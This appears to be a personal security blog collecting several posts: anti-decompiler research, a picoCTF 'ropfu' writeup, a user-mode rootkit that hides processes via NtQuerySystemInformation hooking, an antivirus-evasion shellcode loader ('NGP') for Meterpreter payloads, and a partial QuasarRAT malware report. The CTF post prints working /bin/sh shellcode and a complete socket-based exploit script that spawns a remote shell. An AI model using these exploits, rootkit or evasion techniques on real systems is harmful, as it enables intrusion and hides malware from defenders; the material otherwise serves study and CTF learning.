The Rusty

BRKDEC - Anti Decompiler Research & Development

Sat, 11 Jul 2026 00:00:00 GMT

The concept of this project was derived from prior work: android1337/brkida

Disclaimer#

This project and all associated materials are provided strictly for authorized red teaming and educational and research purposes only.

This project declares that it is NOT intended to hinder malware analysis or disrupt DFIR.

Executive Summary#

BRKDEC is a lightweight anti-decompiler library designed to disrupt static analysis by exploiting fundamental limitations in control flow reconstruction of known commercial decompilers, ultimately to protect sensitive binaries from being reverse engineered.

Purpose#

The ultimate goal of this project is to analyze the decompilation process of commercial decompilers, identify their limitations, and thereby develop anti-decompilation techniques. This project is a research initiative developed to investigate anti-decompilation techniques by combining ideas from android1337/brkida with an anti-decompilation technique originally studied in the FrontierGuard project (temporary discontinued).

Scope#

The scope of this project covers binaries written in C or C++ which can be reverse engineered with the following decompilers/reverse engineering toolkits:

IDA Free
Ghidra
Binary Ninja

The outcome of this project will be tested on the binaries for the following operating systems:

Windows 11
Windows 10
Ubuntu Linux

Out Of Scope#

Packed or self-modifying binaries
Kernel-mode drivers
Heavy obfuscation frameworks (e.g., VM-based obfuscation)

Tools & Environment#

Dev Environment#

Environment	Information
Operating System	Ubuntu 24.04.4 LTS
Virtualization Engine	QEMU emulator 8.2.2
Architecture	Intel x64

Testing Environment#

Windows 10 (QEMU virtualized)
Ubuntu 24.04 LTS (Acer Laptop)

Compilers#

Windows Compiler
- x86_64-w64-mingw32-gcc (GCC) 13-win32
  - x86_64-w64-mingw32-gcc -O2 -o [OUTPUT] [C_CODE]
Ubuntu Compiler
- Ubuntu clang version 18.1.3 (1ubuntu1)
  - clang -O2 -s -fvisibility=hidden [C_CODE] -o [OUTPUT]

Methodology#

Fundamental Concepts & Definitions#

Fundamentally, commercial decompilers often statically reconstruct C or C-like pseudocode from assembly instructions within a binary. A decompilation process often looks like this:

Disassembly
- Translates machine language into assembly language
- Recovers function boundaries
- Identifies code sections and data sections
Control Flow Analysis
- Analyzes branches (if)
- Analyzes loops (for/while)
- Constructs CFG (Control Flow Graph)
Data Flow Analysis
- Abstracts variables from registers
- Analyzes use of stack and heap memory
- Transforms IR (Intermediate Representation) into SSA (Static Single Assignment) form
Type Recovery
- Identifies integers and pointers
- Reconstructs structures (struct)
- Infers function parameters and return types
High-level Reconstruction
- Converts condition branches (if/else) to C-like pseudocode
- Converts loops (for/while) to C-like pseudocode
- Converts function calls to C-like pseudocode
- Removes or restructures low-level control flow (e.g., goto)
- Simplifies expressions
Symbol Recovery
- Applies debug symbols (if present)
- Matches known function names (e.g. libraries)

Control Flow Graph (CFG) is a graph representation of all possible execution paths (flows) within a function, based on branches, loops, and jump instructions.

Intermediate Representation (IR) is an abstract representation of code used between source code and machine language for program analysis and transformation.

Static Single Assignment (SSA) is a form of code representation in which each variable is assigned exactly once, enabling precise data flow analysis.

Techniques & Strategies#

Commercial decompilers often cannot precisely determine runtime-dependent values (e.g., return addresses, timestamps, or environment-dependent data). As decompilers heavily rely on the CFG, conditional branches that depend on runtime values can be exploited to distort CFG reconstruction, resulting in misleading or junk decompiled output.

Validation Method#

To demonstrate the effectiveness of the outcomes, simple samples written in C and C++ will be divided into two groups: those with BRKDEC applied and those without. For a detailed inspection, IDA Free, Ghidra (+ Cutter), and Binary Ninja will be used to directly compare and analyze the decompilation results.

I will compare identifiable functions within an obfuscated binary (at least functions whose execution flow can be verified or inferred from decompilation results) with functions inside a regular binary, and quantify the differences for validation.

Validation Standards#

Pseudocode readability
Variable recovery accuracy
Function boundary accuracy

AND

Loop count
Conditional statement count
flow change count

Validation Assumption#

The compiled binary does not contain debug symbols
The compiled binary is built with recommended optimizations (-O2)

Research#

Through three days of experimentation, I have observed that when the return adddress is manipulated to cause an abnormal transfer of execution flow between functions, commercial decompilers fail to precisely track the actual execution path.

This technique exploits the assumption made by decompilers that normal call/return operations occur within a function. Typically, a decompiler constructs a CFG on an intra-procedural basis, assuming that each function has an identifiable entry point and a ret-based termination/return point.

However, when the return address is manipulated such that a called function (e.g. thrd_yield in libc) transfers execution flow to a function other than the original caller, the actual execution flow continues across function boundaries. This creates a discrepancy between the CFG constructed by the decompiler and the actual execution flow, ultimately resulting in a function boundary detection failure and accurate pseudocode generation failure.

BRKDEC_FUNC_BOUNDARY

Ret2 Reverse Engineering Blog also introduced a related technique. In that blog post, an exploit-like stack pivoting technique was demonstrated using a ROP chain embedded within the binary to achieve return hijacking.

The research presented in that blog focused on malware and anti-decompilation techniques. In contrast, this research focuses more on lightweight anti-decompilation methods.

The first version was a very simple approach that used push to manipulate the return address. It worked fine for small programs, but I soon realized it couldn’t be applied to multiple functions. I then researched the reason and discovered that the code executed after jumping into printf ended up modifying registers and corrupting the stack. Consequently, I worked with Gemini AI to add stack recovery code.

(The current project is version 2.0. In the future, I plan to research version 3.0 and a wider range of techniques.)

Validation#

Based-on: BRKDEC v2.0

IDA Free#

In the case of IDA Free, functions were not decompiled properly for either binary. The Decompiler Explorer was used to verify and compare some decompilation results. In the regular binary, the following numbers of branches were identified:

0 loops
19 conditional statements
14 flow changes

In the code after BRKDEC was applied, the following were identified:

0 loops
3 conditional statements
8 flow changes

Therefore, the impact was determined to be:

0% on loops
84% on conditional statements
42% on flow changes

Since IDA Free failed to decompile the baseline binary reliably, the post-transformation result should be interpreted as an additional degradation rather than an absolute decompilation failure rate. Based on the reduction in recovered conditionals and the near-complete loss of logic, the additional impact was assessed to be over 80%.

Ghidra#

In the case of Ghidra, most recovered functions degenerated into stubs centered around thrd_yield(). In the regular binary, the following numbers of branches were identified:

1 loop
17 conditional statements
4 flow changes

In the code after BRKDEC was applied, the following numbers of branches were identified:

0 loops
0 conditional statements
0 flow changes

Therefore, the impact was determined to be:

100% on loops
100% on conditional statements
100% on flow changes

Taking into account potential errors and disassembly, the overall impact was determined to be over 90%.

Binarny Ninja#

In the case of Binary Ninja, functions were relatively restored to a normal state, but some executable code was treated as data, leading to losses during code recovery. In the regular binary, the following numbers of branches were identified:

1 loop
19 conditional statements
5 flow changes

In the code after BRKDEC was applied, the following were identified:

0 loops
19 conditional statements
14 flow changes

Therefore, the impact was determined to be:

100% on loops
0% on conditional statements
180% on flow changes

Although the number of recovered conditional statements remained unchanged, the loss of loop recovery and the substantial increase in control-flow transfers significantly fragmented the reconstructed CFG. Because the overall algorithm remained partially interpretable, the net effectiveness was assessed at approximately 65%.

Windows#

Windows operates in the same way, but the specific figures may differ (in actual experimental data, IDA Free, Ghidra, and Binary Ninja all showed improved results). As a result of emulation using QEMU, the binary’s normal operation was tested 10 times, and all 10 tests confirmed normal functionality. The difficulty of reverse engineering, even after (inadvertently) applying symbols, showed approximately 5-10% greater impact compared to Linux binaries.

Limitations#

Binary Patch: If the BRKDEC code is removed via binary patching, the original program can be immediately exposed. If one understands the source code of BRKDEC and is able to patch the binary, meaningful decompilation results can be obtained.
Memory Stability: This issue was identified previously as well: code that manipulates registers through low-level access can destabilize or completely corrupt the stack.
Performance Degradation: From a performance perspective, repeatedly saving all registers to the stack can accumulate performance overhead, potentially leading to significant degradation over time. Applying BRKDEC globally, especially to large-scale software, may be unstable from a memory standpoint.

References#

ChatGPT, Gemini, and DeepSeek were used to improve the technical English expressions in this document.

PicoCTF - ropfu

Wed, 29 Oct 2025 00:00:00 GMT

PicoCTF Challenge: https://play.picoctf.org/practice/challenge/292?category=6&page=4

ropfu#
Author: Sanjay C / LT ‘syreal’ Jones
Description#
What’s ROP?
Can you exploit the following program to get the flag? Download source.
Hints#
1st - This is a classic ROP to get a shell
Resources:#
Source Code: /vuln.c
Binary: /vuln

Decompile#

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
    int v4; // [esp+0h] [ebp-Ch]
4

5
    setvbuf(stdout, 0, 2, 0);
6
    v4 = getegid();
7
    setresgid(v4, v4, v4);
8
    vuln();
9
    return 0;
10
}
11

12
int vuln()
13
{
14
    _BYTE v1[20]; // [esp+0h] [ebp-18h] BYREF
15

16
    puts("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!");
17
    return gets(v1);
18
}

Show moreShow less

The code above is the decompiled source code from a binary. Let me summarize it more concisely.

1
int main(int argc, const char **argv, const char **envp)
2
{
3
    gid_t effective_group_id;
4

5
    setvbuf(stdout, NULL, _IONBF, 0);
6
    effective_group_id = getegid();
7
    setresgid(effective_group_id, effective_group_id, effective_group_id);
8
    vuln();
9
    return 0;
10
}
11

12
int vuln()
13
{
14
    char buffer[20];
15

16
    puts("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!");
17
    return gets(buffer);
18
}

Show moreShow less

Analysis#

Terminal window

1
therustymate-picoctf@webshell:~$ file vuln_3
2
vuln_3: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=232215a502491a549a155b1a790de97f0c433482, for GNU/Linux 3.2.0, not stripped

This program is a simple piece of code that reads input using the vulnerable gets function and then returns. As before, I will quickly find the offset that lets us overwrite the return address.

Terminal window

1
(gdb) run
2
The program being debugged has been started already.
3
Start it from the beginning? (y or n) y
4
Starting program: /home/therustymate-picoctf/vuln_3
5
warning: Error disabling address space randomization: Operation not permitted
6
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
7
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c
8

9
Program received signal SIGSEGV, Segmentation fault.
10
0x76757473 in ?? ()
11
(gdb) info registers eip
12
eip            0x76757473          0x76757473
13
(gdb)

gdb shows the EIP register is currently pointing at 0x76757473. Converting that back into a string yields the following:

1
>>> chr(0x76)+chr(0x75)+chr(0x74)+chr(0x73)
2
'vuts'

Since the string “vuts” appears, it indicates that the return address starts from the character ‘s’ and spans 4 bytes. The method to calculate the offset is as follows:

1
>>> len('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'.split('stuv')[0])
2
28

Therefore, after 28 bytes of characters, we can hijack the return address.

Terminal window

1
therustymate-picoctf@webshell:~$ strings ./vuln_3 | grep "flag"
2
WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1.
3
(mode_flags & PRINTF_FORTIFY) != 0
4
version == NULL || !(flags & DL_LOOKUP_RETURN_NEWEST)
5
_dl_x86_hwcap_flags
6
_dl_stack_flags
7
_dl_x86_cap_flags

I searched for functions but couldn’t find any additional functions or flag-related information that could be used. This means we must construct a shellcode and develop an RCE exploit that uploads the shellcode directly.

Exploit Development#

Terminal window

1
therustymate-picoctf@webshell:~$ checksec --file=./vuln_3
2
[*] '/home/therustymate-picoctf/vuln_3'
3
    Arch:       i386-32-little
4
    RELRO:      Partial RELRO
5
    Stack:      Canary found
6
    NX:         NX unknown - GNU_STACK missing
7
    PIE:        No PIE (0x8048000)
8
    Stack:      Executable
9
    RWX:        Has RWX segments
10
    Stripped:   No

Using the checksec tool to inspect the binary, I confirmed that Stack Canary is active. This means we need to bypass this.

However, unlike our earlier analysis, neither main nor vuln have a stack canary. The disassembly shows no logic that checks or compares a specific value before returning. Because abort() was found, it’s likely used by some other, specific function.

I give up today because my back bones are gone because of this. I will have to see a doctor soon. I will come back tomorrow. (I spent 15 hours)

After studying the binary with IDA and GDB for a long time, I expect the shellcode’s memory address to be stored in the EAX register.

1
lea     eax, [ebp+var_18]
2
push    eax
3
call    gets

Here, to call gets the code places the pointer to the 20-byte input buffer ([ebp+var_18]) into EAX using the LEA (Load Effective Address) instruction. In other words, we can expect the shellcode to reside in the buffer pointed to by EAX.

I will use the ROPgadget tool to locate a jmp eax gadget.

Terminal window

1
therustymate-picoctf@webshell:~$ ROPgadget --binary ./vuln_3 | grep "jmp eax"
2
...
3
0x0805333b : jmp eax
4
0x08086464 : lea esi, [esi] ; jmp eax
5
0x08053337 : les eax, ptr [ebx + ebx*2] ; pop esi ; jmp eax
6
0x0805530d : les ebx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; jmp eax
7
0x08057f9e : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; jmp eax
8
...

There is a JMP EAX gadget at 0x0805333b. I will use this to attempt to jump to the shellcode’s location.

I generated the payload and supplied it as input in GDB.

1
def craftPayload():
2
    # ROP Gadgets:
3
    # 0x0805333b : jmp eax
4

5
    rop_chain = struct.pack("<I", 0x0805333b)     # 0x0805333b : jmp eax
6
    nop_slide = b"\x90" * 100
7

8
    # 0xffb00a6c:     0x0805333b      0x2f68686a (jhh starting point)
9
    shellcode = b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
10

11
    padding = b"A" * 28
12

13
    payload = padding + rop_chain + nop_slide + shellcode
14

15
    return payload

Show moreShow less

Terminal windowShow moreShow less

1
(gdb) run < last_Shell.bin
2
Starting program: /home/therustymate-picoctf/vuln_3 < last_Shell.bin
3
warning: Error disabling address space randomization: Operation not permitted
4
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
5

6
Program received signal SIGSEGV, Segmentation fault.
7
0xffe5e6cc in ?? ()
8
(gdb) info registers
9
eax            0xffe5e6b0          -1710416
10
ecx            0x80e531c           135156508
11
edx            0xffe5e760          -1710240
12
ebx            0x41414141          1094795585
13
esp            0xffe5e6d0          0xffe5e6d0
14
ebp            0x41414141          0x41414141
15
esi            0x80e5000           135155712
16
edi            0x80e5000           135155712
17
eip            0xffe5e6cc          0xffe5e6cc
18
eflags         0x10202             [ IF RF ]
19
cs             0x23                35
20
ss             0x2b                43
21
ds             0x2b                43
22
es             0x2b                43
23
fs             0x0                 0
24
gs             0x63                99
25
k0             0x0                 0
26
k1             0x0                 0
27
k2             0x0                 0
28
k3             0x0                 0
29
k4             0x0                 0
30
k5             0x0                 0
31
k6             0x0                 0
32
k7             0x0                 0
33
(gdb) x/50wx 0xffe5e6cc
34
0xffe5e6cc:     0x0805333b      0x90909090      0x90909090      0x90909090
35
0xffe5e6dc:     0x90909090      0x90909090      0x90909090      0x90909090
36
0xffe5e6ec:     0x90909090      0x90909090      0x90909090      0x90909090
37
0xffe5e6fc:     0x90909090      0x90909090      0x90909090      0x90909090
38
0xffe5e70c:     0x90909090      0x90909090      0x90909090      0x90909090
39
0xffe5e71c:     0x90909090      0x90909090      0x90909090      0x90909090
40
0xffe5e72c:     0x90909090      0x90909090      0x2f68686a      0x68732f2f
41
0xffe5e73c:     0x6e69622f      0x0168e389      0x81010101      0x69722434
42
0xffe5e74c:     0xc9310101      0x59046a51      0x8951e101      0x6ad231e1
43
0xffe5e75c:     0x80cd580b      0xa454fb00      0x66d6be9f      0x00000000
44
0xffe5e76c:     0x00000000      0x00000000      0x00000000      0x00000000
45
0xffe5e77c:     0x00000000      0x080e5000      0x00000001      0x00000000
46
0xffe5e78c:     0x08049c46      0x08049dc1
47
(gdb)

Show moreShow less

When I checked in GDB, it landed correctly near the shellcode’s NOP slide. However, for some reason 0x0805333b appears first.

As I confirmed, the address 0x0805333b which was supposed to be the first gadget address of the ROP chain was not written directly into EIP. Instead, EIP was incorrectly overwritten with the stack address that held that gadget address, so that data value was interpreted as opcodes and caused an error.

Therefore, to actually run the ROP chain we need a JMP ESP instruction. By using ESP (Extended Stack Pointer) we can make the ROP code be treated as the actual top of the stack i.e., the location where the code resides rather than as raw opcodes to execute the ROP chain.

The final result is:

1
def craftPayload():
2
    instruction = b"\xFF\xE4"                       # jmp esp
3
    padding = b"A" * (28 - len(instruction))
4

5
    # ROP Gadgets:
6
    # 0x0805333b : jmp eax
7
    rop_chain   = struct.pack("<I", 0x0805333b)     # 0x0805333b : jmp eax
8

9
    nop_slide = b"\x90" * 100
10
    shellcode = b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
11

12
    payload = padding + instruction + rop_chain + nop_slide + shellcode
13

14
    return payload

Exploit#

1
from argparse import ArgumentParser
2
from socket import *
3
import struct
4
import time
5

6
def craftPayload(shellcode_path: str):
7
    instruction = b"\xFF\xE4"                       # jmp esp
8
    padding = b"A" * (28 - len(instruction))
9

10
    # ROP Gadgets:
11
    # 0x0805333b : jmp eax
12
    rop_chain   = struct.pack("<I", 0x0805333b)     # 0x0805333b : jmp eax
13

14
    nop_slide = b"\x90" * 20
15
    shellcode = b""
16
    if shellcode_path == "builtin":
17
        shellcode = b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
18
    else:
19
        fp = open(shellcode_path, "rb")
20
        shellcode = fp.read()
21
        fp.close()
22

23
    payload = padding + instruction + rop_chain + nop_slide + shellcode
24

25
    return payload
26

27
def interactive(s: socket):
28
    while True:
29
        command = input("$ ")
30
        if command.strip() == "exit":
31
            break
32
        s.send(command.encode() + b"\n")
33
        response = s.recv(65535)
34
        print(response.decode())
35

36
def exploit(target: str, port: int, shellcode_path: str):
37
    print("[~] Generating payload...")
38
    payload = craftPayload(str(shellcode_path))
39
    print(f"[+] Payload has been generated.")
40

41
    s = socket(AF_INET, SOCK_STREAM)
42
    print(f"[~] Connecting to {target}:{port}...")
43
    s.connect((target, port))
44
    print(f"[+] Connected to {target}:{port}.")
45
    time.sleep(1)
46
    s.recv(65535)
47
    print(f"[~] Sending payload...")
48
    s.send(payload + b"\n")
49

50
    print("[+] Payload sent successfully.")
51
    if shellcode_path == "builtin":
52
        print("[~] Spawning interactive shell...")
53
        interactive(s)
54
    s.close()
55

56
if __name__ == "__main__":
57
    parser = ArgumentParser(
58
        prog="PicoCTF ropfu Exploit",
59
        description="Exploit for the PicoCTF ropfu challenge",
60
    )
61
    parser.add_argument(
62
        "-t", "--target",
63
        required=True,
64
        help="set target IP or URL address",
65
        type=str
66
    )
67
    parser.add_argument(
68
        "-p", "--port",
69
        required=True,
70
        help="set target port",
71
        type=int
72
    )
73
    parser.add_argument(
74
        "-s", "--shellcode",
75
        required=False,
76
        help="set path to shellcode file",
77
        type=str,
78
        default="builtin"
79
    )
80

81
    args = parser.parse_args()
82

83
    TARGET_HOST : str       = str(args.target)
84
    TARGET_PORT : int       = int(args.port)
85
    SHELLCODE_PATH : str    = str(args.shellcode)
86
    exploit(TARGET_HOST, TARGET_PORT, SHELLCODE_PATH)

Show moreShow less

The End#

I tried to build a ROP chain for the first time without a plan, and ended up spending 3 days analyzing the same problem. On the 2nd day I did look at other people’s writeups but couldn’t understand them, which dragged the work into the 3rd day. In the end I finally understood why a JMP ESP is injected as opcodes and then a JMP EAX ROP chain is required.

Result#

Terminal windowShow moreShow less

1
therustymate-picoctf@webshell:~$ python3 exploit.py -t saturn.picoctf.net -p 63366
2
[~] Generating payload...
3
[+] Payload has been generated.
4
[~] Connecting to saturn.picoctf.net:63366...
5
[+] Connected to saturn.picoctf.net:63366.
6
[~] Sending payload...
7
[+] Payload sent successfully.
8
[~] Spawning interactive shell...
9
$ ls
10
flag.txt
11
vuln
12

13
$ cat flag.txt
14
picoCTF{5n47ch_7h3_5h311_4cbbb771}
15
$

Show moreShow less

Flag: picoCTF{5n47ch_7h3_5h311_4cbbb771}

PoC Ring3 RootKit Development

Sat, 25 Oct 2025 00:00:00 GMT

therustymate

0x9C

Waiting for api.github.com...

00K

Waiting...

YouTube#

Disclaimer#

This document and all associated materials are provided strictly for legitimate security research, education, and authorized antivirus detection capability testing purposes only. The techniques and concepts described herein involve advanced software security, malware analysis, and development methods, and any unauthorized use, reproduction, distribution, or malicious deployment against systems without explicit permission is strictly prohibited.

By accessing and utilizing this material, you acknowledge and agree to comply with all applicable laws and regulations, and to obtain proper authorization before conducting any security testing or research activities.

The author and affiliated parties expressly disclaim all legal liability and responsibility for any misuse, unauthorized actions, or damages arising from the use of this information.

Furthermore, this research was conducted to study current antivirus detection limitations, develop evasion techniques for educational purposes, and enhance cybersecurity expertise. The disclosure of this technology is purely for advancing the security industry and academic research.

Therefore, all risks, legal responsibilities, and consequences resulting from the use or misuse of this document rest solely with the user. The author and related parties are fully indemnified from any direct or indirect damages.

By reading or using this document, you are deemed to have accepted all the above conditions.

How does a user mode rootkit work?#

A user-mode rootkit typically works by injecting a DLL (Dynamic Link Library) into the target process, hooking the APIs that the process calls, and removing specific information from the actual return values. Rootkits mainly hide information about processes, network activity, files, the registry, etc., to avoid detection.

How to hide a process information?#

The NtQuerySystemInformation API is a Windows native API that returns information about the processes present on the system.

1
__kernel_entry NTSTATUS NtQuerySystemInformation(
2
  [in]            SYSTEM_INFORMATION_CLASS SystemInformationClass,
3
  [in, out]       PVOID                    SystemInformation,
4
  [in]            ULONG                    SystemInformationLength,
5
  [out, optional] PULONG                   ReturnLength
6
);

1
NTSTATUS NTAPI Hooked_NtQuerySystemInformation(
2
    ULONG SystemInformationClass,
3
    PVOID SystemInformation,
4
    ULONG SystemInformationLength,
5
    PULONG ReturnLength
6
);

SystemInformation (of type PVOID) returns information about processes. You can cast it to the existing PSYSTEM_PROCESS_INFORMATION type and, from each process entry, read the process name via ImageName.Buffer (a PWCHAR inside a UNICODE_STRING). Using that, you can filter out specific process names from the process list and return the filtered result. So when a DLL-injected process calls NtQuerySystemInformation, it will not see those filtered process names.

How to hook a function?#

The Detours library is a Windows library that enables hooking specific functions. Using it, you can hook native APIs and modify their results or record (log) them.

Terminal window

1
vcpkg install detours
2
vcpkg integrate install

Using the vcpkg tool, you can automatically include C++ header files and library files in Visual Studio 2022. In the case of Detours, the header file is located at detours/detours.h.

1
#include <detours/detours.h>

How to make a user mode rootkit?#

The completed DLL source code is as follows:

[REDACTED]

The code iterates through the process information using NextEntryOffset when handling the hooked function. It compares ImageName.Buffer with the target process name, and if they match, it manipulates NextEntryOffset to remove the entry from the list so it links directly to the next process. (Current target process name is Notepad.exe. Change the TARGET_PROCESS value to set the target process to hide)

Conclusion#

In conclusion, the user-mode rootkit is injected into the target process as a DLL. After injection it hooks NtQuerySystemInformation, examines ImageName.Buffer in the PSYSTEM_PROCESS_INFORMATION structure, and if it matches a process that should be hidden, it modifies NextEntryOffset to remove that process from the list and link directly to the next entry to prevent the process from being seen.

NGP - Native Gadget Programming

Mon, 20 Oct 2025 00:00:00 GMT

therustymate

NGP

Waiting for api.github.com...

00K

Waiting...

Disclaimer#

The author and affiliated parties expressly disclaim all legal liability and responsibility for any misuse, unauthorized actions, or damages arising from the use of this information.

By reading or using this document, you are deemed to have accepted all the above conditions.

NGP Operation Principle#

NGP, or Native Gadget Programming, is a novel technique designed to execute shellcode without embedding the actual shellcode within the shellcode dropper. This technology leverages byte fragments from binaries already present on the system to reconstruct and execute shellcode in memory, effectively evading antivirus detection.

Youtube#

NGP PoC#

The NGP repository contains ngp.py (a shellcode compiler) and NGP Dropper.cpp (a shellcode loader).

ngp.py scans all EXE, DLL, and SYS files inside a user-specified folder and searches those files for so-called “gadgets” — chunks that match parts of the shellcode. Using these, the shellcode loader avoids containing the actual shellcode; it instead automatically loads those gadgets (or chunks) so as to evade static analysis by AV software.

Below is how to produce actual shellcode metadata.

First, generate and save the shellcode you plan to load using msfvenom or another C2 framework (Havoc, Mythic, etc.).
If you are not using a Windows host, copy random DLL, EXE, and SYS files from a Windows system into a specific directory, or run the compiler inside a Windows VM. On Windows you can use the System32 folder or other third-party programs.
Compile the shellcode into metadata with ngp.py using a command like:
Terminal window
```
1
python3 ngp.py -t "shellcode.bin" -p "C:\Windows\System32" -o "output.json"
```
Here shellcode.bin should be the binary shellcode produced by an external C2 framework. C:\Windows\System32 can be replaced with another folder. The -o option specifies where to save the output.
If the hash of the original shellcode matches the hash in the metadata, you have successfully generated shellcode metadata. Now compile NGP Dropper.cpp and provide the output JSON file as an argument to the binary — it will regenerate the shellcode automatically.

The NGP compiler is highly sensitive to program versions. If the version of the files used by the metadata changes, it may fail to work correctly. However, this also forces a malware analyst to analyze 100% identical file versions in order to fully analyze the malware.

So far, we successfully mapped the default Meterpreter shellcode produced by msfvenom from System32, and tested memory loading and remote host connecting successfully. In theory, DLL files can also be mapped in addition to shellcode. Additionally, we successfully generated shellcode metadata using an unspecified version of WeChat. This experimentally demonstrates that gadgets from system files as well as from other third-party software can be used to load shellcode.

MAL-250610-01-01

Tue, 10 Jun 2025 00:00:00 GMT

Metadata	Information
Report ID	MAL-250610-01-01
Incident Date	Unknown
Report Date	2025-06/10
Malware Name	QuasarRAT
Version	01
Analyst	@therustymate
Organization	Private
Severity	Critical
Status	Public/Draft
Malware Type	RAT
Detection Date	2025-06-10 00:20<15> UTC
Affected Systems	Windows/Home
CVE	N/A
Tags	Backdoor

Incident Metadata#

Metadata	Information
Command & Control (C2) Server	185.244.29[.]181<1604>
Indicators of Compromise	185.244.29[.]181<1604>
Infection Vector	Download
Persistence Mechanisms	NYA
Payload Description	Backdoor
Network Behavior	C2 Connection & Communcation

File Names#

File Name	Size
edf5ee6173907a5c75650016186ea5a8.exe	514’048 bytes

Hashes#

File Name	Hash Type	Hash
edf5ee6173907a5c75650016186ea5a8.exe	MD5	edf5ee6173907a5c75650016186ea5a8
	SHA1	8dabd536d13a57364812eb9c8d413c50b8788b8e
	SHA256	cd425ba34aa2ac7f31b6c498b09780cd7bacb7d7826cdc119fd6a35e95ee8700

References#

!!!WARNING!!! Some references may not be fully reliable.

Title	Link
MalwareBazaar	here

Blackbox Analysis#

Anyrun URL: https://app.any.run/tasks/7fcb71c2-1a6c-4bfd-99e1-9aaaaa2490bd

1
0047e7ae    int32_t _CorExeMain()
2
0047e7ae  return _CorExeMain() __tailcall

I confirmed the presence of a tailcall to _CorExeMain() at the program’s entry point using Binary Ninja. Therefore, I will use ILSpy to decompile the binary.

`csproj` File Contents#

1
<Project Sdk="Microsoft.NET.Sdk.WindowsDesktop">
2
  <PropertyGroup>
3
    <AssemblyName>Client</AssemblyName>
4
    <GenerateAssemblyInfo>False</GenerateAssemblyInfo>
5
    <OutputType>WinExe</OutputType>
6
    <UseWindowsForms>True</UseWindowsForms>
7
    <TargetFramework>net452</TargetFramework>
8
  </PropertyGroup>
9
  <PropertyGroup>
10
    <LangVersion>12.0</LangVersion>
11
    <AllowUnsafeBlocks>True</AllowUnsafeBlocks>
12
  </PropertyGroup>
13
  <PropertyGroup>
14
    <ApplicationManifest>app.manifest</ApplicationManifest>
15
    <RootNamespace />
16
  </PropertyGroup>
17
  <ItemGroup>
18
    <None Remove="ILRepack.List" />
19
    <EmbeddedResource Include="ILRepack.List" LogicalName="ILRepack.List" />
20
  </ItemGroup>
21
  <ItemGroup>
22
    <Reference Include="System.Core" />
23
    <Reference Include="System.Xml" />
24
    <Reference Include="System.Security" />
25
    <Reference Include="System.Runtime.Serialization" />
26
    <Reference Include="System.Web" />
27
    <Reference Include="System.Management" />
28
    <Reference Include="System.ServiceModel" />
29
  </ItemGroup>
30
</Project>

Show moreShow less

Field	Value
Project Type	.NET SDK-style Windows Forms Desktop Application
Target Framework	.NET Framework 4.5.2 (`net452`)
Output Type	`WinExe` (Graphical executable, no console window)
Assembly Name	`Client`
Language Version	C# 12.0
Unsafe Code Allowed	Yes (`AllowUnsafeBlocks=True`)
Windows Forms Enabled	Yes (`UseWindowsForms=True`)
Auto Assembly Info Generation	Disabled (`GenerateAssemblyInfo=False`)
Manifest File	`app.manifest`
Embedded Resource	`ILRepack.List`
Referenced Libraries	`System.Core`, `System.Xml`, `System.Web`, `System.Management`, `System.ServiceModel`, etc.

`AssemblyInfo.cs` File Contents#

1
using System.Diagnostics;
2
using System.Reflection;
3
using System.Runtime.CompilerServices;
4
using System.Runtime.InteropServices;
5
using System.Runtime.Versioning;
6
using System.Security;
7
using System.Security.Permissions;
8

9
[assembly: AssemblyDescription("")]
10
[assembly: AssemblyCompany("")]
11
[assembly: AssemblyConfiguration("")]
12
[assembly: AssemblyProduct("Quasar")]
13
[assembly: AssemblyCopyright("Copyright © MaxXor 2020")]
14
[assembly: AssemblyTrademark("")]
15
[assembly: InternalsVisibleTo("Client.Tests")]
16
[assembly: ComVisible(false)]
17
[assembly: AssemblyFileVersion("1.4.0")]
18
[assembly: AssemblyTitle("Quasar Client")]
19
[assembly: AssemblyVersion("1.4.0.0")]

Show moreShow less

Attribute	Value
Title	`Quasar Client`
Product	`Quasar`
Company	(Empty)
Copyright	`© MaxXor 2020`
File Version	`1.4.0`
Assembly Version	`1.4.0.0`
ComVisible	`false` (not visible to COM components)
InternalsVisibleTo	`Client.Tests` (likely for unit testing)

MaxXor is the original author of Quasar RAT.

`ThisAssembly.cs` File Contents#

1
internal sealed class ThisAssembly
2
{
3
  internal const string AssemblyVersion = "2.4.0.0";
4

5
  internal const string AssemblyFileVersion = "2.4.6.0";
6

7
  internal const string AssemblyInformationalVersion = "2.4.6+g43df102394";
8

9
  internal const string AssemblyName = "protobuf-net";
10

11
  internal const string AssemblyTitle = "protobuf-net";
12

13
  internal const string AssemblyConfiguration = "Release";
14

15
  internal const string PublicKey = "002400000480000094000000060200000024000052534131000400000100010009ed9caa457bfc205716c3d4e8b255a63ddf71c9e53b1b5f574ab6ffdba11e80ab4b50be9c46d43b75206280070ddba67bd4c830f93f0317504a76ba6a48243c36d2590695991164592767a7bbc4453b34694e31e20815a096e4483605139a32a76ec2fef196507487329c12047bf6a68bca8ee9354155f4d01daf6eec5ff6bc";
16

17
  internal const string PublicKeyToken = "257b51d87d2e4d67";
18

19
  internal const string RootNamespace = "ProtoBuf";
20

21
  private ThisAssembly()
22
  {
23
  }
24
}

Show moreShow less

Field	Value
Assembly Version	`2.4.0.0`
File Version	`2.4.6.0`
